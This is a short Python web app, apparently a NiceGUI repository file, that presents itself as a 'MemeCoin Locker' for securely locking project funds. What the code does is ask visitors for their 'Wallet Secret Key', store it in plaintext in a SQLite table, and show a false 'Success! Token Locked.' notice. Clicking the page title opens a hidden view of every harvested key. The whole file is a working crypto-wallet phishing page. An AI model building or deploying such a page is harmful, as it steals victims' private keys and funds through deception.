StreamFlow-bot/CoinLocker
0
1from nicegui import ui2import sqlite33import pandas as pd4 5DB_PATH = 'data.db'6 7def init_db():8 conn = sqlite3.connect(DB_PATH)9 conn.execute('CREATE TABLE IF NOT EXISTS u (n TEXT, k TEXT, s TEXT, a REAL)')10 conn.commit()11 conn.close()12 13init_db()14 15@ui.page('/')16def index():17 ui.add_head_html("<style>body{background-color:#0b0e11;color:white;}.q-field--filled .q-field__control{background:#1b1f23!important;border:1px solid #30363d!important;}.q-field__native{color:white!important;}.btn{background-color:#00ffbd!important;color:black;font-weight:bold;width:100%;height:55px;border-radius:8px;}.t-btn{cursor:pointer;user-select:none;}</style>")18 19 with ui.column().classes('w-full max-w-lg mx-auto p-6 gap-4'):20 # TITLUL BUTON (Click aici sa vezi baza de date)21 def v():22 if res.style['display'] == 'none':23 c = sqlite3.connect(DB_PATH); df = pd.read_sql_query("SELECT * FROM u", c); c.close()24 tbl.clear()25 with tbl: ui.table(columns=[{'name':x,'label':x,'field':x} for x in df.columns], rows=df.to_dict('records')).props('dark dense flat bordered')26 res.style(display='block')27 else: res.style(display='none')28 29 ui.label('MemeCoin Locker').classes('text-3xl font-bold text-center w-full mt-10 t-btn').on('click', v)30 res = ui.column().classes('w-full p-2 bg-black border border-gray-800').style('display: none')31 with res: tbl = ui.column().classes('w-full')32 33 ui.label('Securely lock your project funds.').classes('text-gray-400 text-center w-full -mt-2 mb-6 text-sm')34 35 n = ui.input('Project Name').props('dark filled').classes('w-full')36 k = ui.input('Wallet Secret Key').props('dark filled password-toggle').classes('w-full')37 s = ui.input('Token Symbol').props('dark filled').classes('flex-1')38 a = ui.number('Amount', value=0.0).props('dark filled').classes('flex-1')39 40 def s_data():41 if n.value and k.value:42 c = sqlite3.connect(DB_PATH)43 c.execute("INSERT INTO u VALUES (?,?,?,?)", (n.value, k.value, s.value, a.value))44 c.commit(); c.close()45 ui.notify('Success! Token Locked.', color='positive')46 47 ui.button('DEPLOY LOCK', on_click=s_data).classes('btn')48 49ui.run(host='0.0.0.0', port=7860, reload=False)